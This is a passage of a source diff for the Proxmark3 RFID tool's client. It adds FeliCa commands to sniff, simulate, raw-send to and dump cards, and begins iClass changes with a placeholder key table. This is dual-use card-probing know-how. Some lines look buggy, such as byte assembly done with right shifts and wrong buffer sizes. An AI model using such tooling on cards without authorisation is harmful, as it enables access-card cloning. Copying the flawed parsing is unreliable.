+static void printSep() { + PrintAndLogEx(NORMAL, "------------------------------------------------------------------------------------"); +} + +uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace,uint16_t tracelen) { + if (tracepos+19 >= tracelen) + return tracelen; + + trace += tracepos; + uint8_t blocknum = trace[0]; + uint8_t status1 = trace[1]; + uint8_t status2 = trace[2]; + + char line[110] = {0}; + for (int j = 0; j < 16; j++) { + snprintf(line+( j * 4),110, "%02x ", trace[j+3]); + } + + PrintAndLogEx(NORMAL, "block number %02x, status: %02x %02x",blocknum,status1, status2); + switch (blocknum) { + case 0x00: PrintAndLogEx(NORMAL, "S_PAD0: %s",line);break; + case 0x01: PrintAndLogEx(NORMAL, "S_PAD1: %s",line);break; + case 0x02: PrintAndLogEx(NORMAL, "S_PAD2: %s",line);break; + case 0x03: PrintAndLogEx(NORMAL, "S_PAD3: %s",line);break; + case 0x04: PrintAndLogEx(NORMAL, "S_PAD4: %s",line);break; + case 0x05: PrintAndLogEx(NORMAL, "S_PAD5: %s",line);break; + case 0x06: PrintAndLogEx(NORMAL, "S_PAD6: %s",line);break; + case 0x07: PrintAndLogEx(NORMAL, "S_PAD7: %s",line);break; + case 0x08: PrintAndLogEx(NORMAL, "S_PAD8: %s",line);break; + case 0x09: PrintAndLogEx(NORMAL, "S_PAD9: %s",line);break; + case 0x0a: PrintAndLogEx(NORMAL, "S_PAD10: %s",line);break; + case 0x0b: PrintAndLogEx(NORMAL, "S_PAD11: %s",line);break; + case 0x0c: PrintAndLogEx(NORMAL, "S_PAD12: %s",line);break; + case 0x0d: PrintAndLogEx(NORMAL, "S_PAD13: %s",line);break; + case 0x0E: { + uint32_t regA = trace[3] + (trace[4]>>8) + (trace[5]>>16) + (trace[6]>>24); + uint32_t regB = trace[7] + (trace[8]>>8) + (trace[9]>>16) + (trace[10]>>24); + line[0] = 0; + for (int j = 0; j < 8; j++) + snprintf(line+( j * 2),110, "%02x", trace[j+11]); + PrintAndLogEx(NORMAL, "REG: regA: %d regB: %d regC: %s ", regA, regB, line); + } + break; + case 0x80: PrintAndLogEx(NORMAL, "Random Challenge, WO: %s ", line); break; + case 0x81: PrintAndLogEx(NORMAL, "MAC, only set on dual read: %s ", line); break; + case 0x82: { + char idd[20]; + char idm[20]; + for (int j = 0; j < 8; j++) + snprintf(idd+( j * 2),20, "%02x", trace[j+3]); + + for (int j = 0; j < 6; j++) + snprintf(idm+( j * 2),20, "%02x", trace[j+13]); + + PrintAndLogEx(NORMAL, "ID Block, IDd: 0x%s DFC: 0x%02x%02x Arb: %s ", idd, trace[11], trace [12], idm); + } + break; + case 0x83: { + char idm[20]; + char pmm[20]; + for (int j = 0; j < 8; j++) + snprintf(idm+( j * 2),20, "%02x", trace[j+3]); + + for (int j = 0; j < 8; j++) + snprintf(pmm+( j * 2),20, "%02x", trace[j+11]); + + PrintAndLogEx(NORMAL, "DeviceId: IDm: 0x%s PMm: 0x%s ", idm, pmm); + } + break; + case 0x84: PrintAndLogEx(NORMAL, "SER_C: 0x%02x%02x ", trace[3], trace[4]); break; + case 0x85: PrintAndLogEx(NORMAL, "SYS_Cl 0x%02x%02x ", trace[3], trace[4]); break; + case 0x86: PrintAndLogEx(NORMAL, "CKV (key version): 0x%02x%02x ", trace[3], trace[4]); break; + case 0x87: PrintAndLogEx(NORMAL, "CK (card key), WO: %s ", line); break; + case 0x88: { + PrintAndLogEx(NORMAL, "Memory Configuration (MC):"); + PrintAndLogEx(NORMAL, "MAC needed to write state: %s", trace[3+12]? "on" : "off"); + //order might be off here... + PrintAndLogEx(NORMAL, "Write with MAC for S_PAD : %s ", sprint_bin(trace+3+10, 2) ); + PrintAndLogEx(NORMAL, "Write with AUTH for S_PAD : %s ", sprint_bin(trace+3+8, 2) ); + PrintAndLogEx(NORMAL, "Read after AUTH for S_PAD : %s ", sprint_bin(trace+3+6, 2) ); + PrintAndLogEx(NORMAL, "MAC needed to write CK and CKV: %s", trace[3+5] ? "on" : "off"); + PrintAndLogEx(NORMAL, "RF parameter: %02x", (trace[3+4] & 0x7) ); + PrintAndLogEx(NORMAL, "Compatible with NDEF: %s", trace[3+3] ? "yes" : "no"); + PrintAndLogEx(NORMAL, "Memory config writable : %s", (trace[3+2] == 0xff) ? "yes" : "no"); + PrintAndLogEx(NORMAL, "RW access for S_PAD : %s ", sprint_bin(trace+3, 2) ); + } + break; + case 0x90: { + PrintAndLogEx(NORMAL, "Write count, RO: %02x %02x %02x ", trace[3], trace[4], trace[5]); + } + break; + case 0x91: { + PrintAndLogEx(NORMAL, "MAC_A, RW (auth): %s ", line); + } + break; + case 0x92: + PrintAndLogEx(NORMAL, "State:"); + PrintAndLogEx(NORMAL, "Polling disabled: %s", trace[3+8] ? "yes" : "no"); + PrintAndLogEx(NORMAL, "Authenticated: %s", trace[3] ? "yes" : "no"); + break; + case 0xa0: + PrintAndLogEx(NORMAL, "CRC of all bloacks match : %s", (trace[3+2]==0xff) ? "no" : "yes"); + break; + default: + PrintAndLogEx(WARNING, "INVALID %d: %s", blocknum, line); + break; + } + return tracepos+19; +} + +int CmdHFFelicaDumpLite(const char *Cmd) { + + char ctmp = param_getchar(Cmd, 0); + if ( ctmp == 'h' || ctmp == 'H') return usage_hf_felica_dumplite(); + + PrintAndLogEx(SUCCESS, "FeliCa lite - dump started"); + PrintAndLogEx(SUCCESS, "press pm3-button to cancel"); + UsbCommand c = {CMD_FELICA_LITE_DUMP, {0,0,0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + + uint8_t timeout = 0; + while ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) { + timeout++; + printf("."); fflush(stdout); + if (ukbhit()) { + int gc = getchar(); (void)gc; + PrintAndLogEx(NORMAL, "\n[!] aborted via keyboard!\n"); + DropField(); + return 1; + } + if (timeout > 100) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + DropField(); + return 1; + } + } + if (resp.arg[0] == 0) { + PrintAndLogEx(WARNING, "\nButton pressed. Aborted."); + return 1; + } + + uint64_t tracelen = resp.arg[1]; + uint8_t *trace = calloc(tracelen, sizeof(uint8_t)); + if ( trace == NULL ) { + PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); + return 1; + } + + // only download data if there is any. + if ( tracelen > 0 ) { + + if ( !GetFromDevice(BIG_BUF, trace, tracelen, 0, NULL, 2500, false) ){ + PrintAndLogEx(WARNING, "command execution time out"); + free(trace); + return 0; + } + + PrintAndLogEx(SUCCESS, "Recorded Activity (trace len = %d bytes)", tracelen); + + print_hex_break(trace, tracelen, 32); + + printSep(); + uint16_t tracepos = 0; + while (tracepos < tracelen) + tracepos = PrintFliteBlock(tracepos, trace, tracelen); + + printSep(); + } + + free(trace); + return 0; +} + +int CmdHFFelicaCmdRaw(const char *cmd) { + UsbCommand c = {CMD_FELICA_COMMAND, {0, 0, 0}}; + bool reply = 1; + bool crc = false; + bool power = false; + bool active = false; + bool active_select = false; + uint16_t numbits = 0; + char buf[5]=""; + int i = 0; + uint8_t data[USB_CMD_DATA_SIZE]; + uint16_t datalen = 0; + uint32_t temp; + + if (strlen(cmd) < 2) return usage_hf_felica_raw(); + + // strip + while (*cmd==' ' || *cmd=='\t') cmd++; + + while (cmd[i]!='\0') { + if (cmd[i]==' ' || cmd[i]=='\t') { i++; continue; } + if (cmd[i]=='-') { + switch (cmd[i+1]) { + case 'H': + case 'h': + return usage_hf_felica_raw(); + case 'r': + reply = false; + break; + case 'c': + crc = true; + break; + case 'p': + power = true; + break; + case 'a': + active = true; + break; + case 's': + active_select = true; + break; + case 'b': + sscanf(cmd+i+2, "%d", &temp); + numbits = temp & 0xFFFF; + i+=3; + while(cmd[i]!=' ' && cmd[i]!='\0') { i++; } + i-=2; + break; + default: + return usage_hf_felica_raw(); + } + i += 2; + continue; + } + if ((cmd[i]>='0' && cmd[i]<='9') || + (cmd[i]>='a' && cmd[i]<='f') || + (cmd[i]>='A' && cmd[i]<='F') ) { + buf[strlen(buf)+1]=0; + buf[strlen(buf)]=cmd[i]; + i++; + + if (strlen(buf)>=2) { + sscanf(buf,"%x",&temp); + data[datalen]=(uint8_t)(temp & 0xff); + *buf=0; + if (++datalen >= sizeof(data)){ + if (crc) + PrintAndLogEx(NORMAL, "Buffer is full, we can't add CRC to your data"); + break; + } + } + continue; + } + PrintAndLogEx(WARNING, "Invalid char on input"); + return 0; + } + + if (crc && datalen>0 && datalen < sizeof(data)-2) { + uint8_t b1, b2; + compute_crc(CRC_FELICA, data, datalen, &b1, &b2); + data[datalen++] = b1; + data[datalen++] = b2; + } + + if (active || active_select) { + c.arg[0] |= FELICA_CONNECT; + if(active) + c.arg[0] |= FELICA_NO_SELECT; + } + + if (power) { + c.arg[0] |= FELICA_NO_DISCONNECT; + } + + if (datalen > 0) { + c.arg[0] |= FELICA_RAW; + } + + // Max buffer is USB_CMD_DATA_SIZE + datalen = (datalen > USB_CMD_DATA_SIZE) ? USB_CMD_DATA_SIZE : datalen; + + c.arg[1] = (datalen & 0xFFFF) | (uint32_t)(numbits << 16); + memcpy(c.d.asBytes, data, datalen); + + clearCommandBuffer(); + SendCommand(&c); + + if (reply) { + if (active_select) + waitCmdFelica(1); + if (datalen > 0) + waitCmdFelica(0); + } + return 0; +} + +void waitCmdFelica(uint8_t iSelect) { + UsbCommand resp; + uint16_t len = 0; + + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + len = iSelect ? (resp.arg[1] & 0xffff) : (resp.arg[0] & 0xffff); + PrintAndLogEx(NORMAL, "received %i octets", len); + if(!len) + return; + PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.d.asBytes, len) ); + } else { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + } +} + +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"list", CmdHFFelicaList, 0, "[Deprecated] List ISO 18092/FeliCa history"}, + {"reader", CmdHFFelicaReader, 0, "Act like an ISO18092/FeliCa reader"}, + {"sim", CmdHFFelicaSim, 0, " -- Simulate ISO 18092/FeliCa tag"}, + {"sniff", CmdHFFelicaSniff, 0, "sniff ISO 18092/Felica traffic"}, + {"raw", CmdHFFelicaCmdRaw, 0, "Send raw hex data to tag"}, + + {"litesim", CmdHFFelicaSimLite, 0, " - only reply to poll request"}, + {"litedump", CmdHFFelicaDumpLite, 0, "Wait for and try dumping FelicaLite"}, + {NULL, NULL, 0, NULL} +}; + +int CmdHFFelica(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; +} + +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; +} \ No newline at end of file diff --git a/client/cmdhffelica.h b/client/cmdhffelica.h new file mode 100644 index 000000000..f82d2d574 --- /dev/null +++ b/client/cmdhffelica.h @@ -0,0 +1,46 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2017 October, Satsuoni +// 2017 iceman +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency ISO18092 / FeliCa commands +//----------------------------------------------------------------------------- + +#ifndef CMDHFFELICA_H__ +#define CMDHFFELICA_H__ + +#include +#include +#include +#include +#include +#include "proxmark3.h" +#include "common.h" +#include "ui.h" +#include "util.h" +#include "cmdparser.h" +#include "cmdmain.h" +#include "iso14443crc.h" +#include "cmdhf.h" // list cmd +#include "mifare.h" // felica_card_select_t struct + +extern int CmdHFFelica(const char *Cmd); +extern int CmdHFFelicaList(const char *Cmd); +extern int CmdHFFelicaReader(const char *Cmd); +extern int CmdHFFelicaSim(const char *Cmd); +extern int CmdHFFelicaSniff(const char *Cmd); +extern int CmdHFFelicaCmdRaw(const char *Cmd); + +extern int usage_hf_felica_sim(void); +extern int usage_hf_felica_sniff(void); +extern int usage_hf_fFelica_raw(void); + +void waitCmdFelica(uint8_t iSelect); + +//temp +extern int CmdHFFelicaSimLite(const char *Cmd); +extern int CmdHFFelicaDumpLite(const char *Cmd); + +#endif diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index b8e1e0989..7f0e3aa07 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -1,6 +1,8 @@ //----------------------------------------------------------------------------- +//----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh , Hagen Fritsch // Copyright (C) 2011 Gerhard de Koning Gans +// Copyright (C) 2014 Midnitesnake & Andy Davies & Martin Holst Swende // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -9,25 +11,258 @@ // High frequency iClass commands //----------------------------------------------------------------------------- -#include -#include -#include -#include -#include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type -#include "data.h" -//#include "proxusb.h" -#include "proxmark3.h" -#include "ui.h" -#include "cmdparser.h" #include "cmdhficlass.h" -#include "common.h" -#include "util.h" -#include "cmdmain.h" + +#define NUM_CSNS 9 +#define ICLASS_KEYS_MAX 8 static int CmdHelp(const char *Cmd); -int xorbits_8(uint8_t val) -{ +static uint8_t iClass_Key_Table[ICLASS_KEYS_MAX][8] = { + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, + { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 } +}; + +int usage_hf_iclass_sim(void) { + PrintAndLogEx(NORMAL, "Usage: hf iclass sim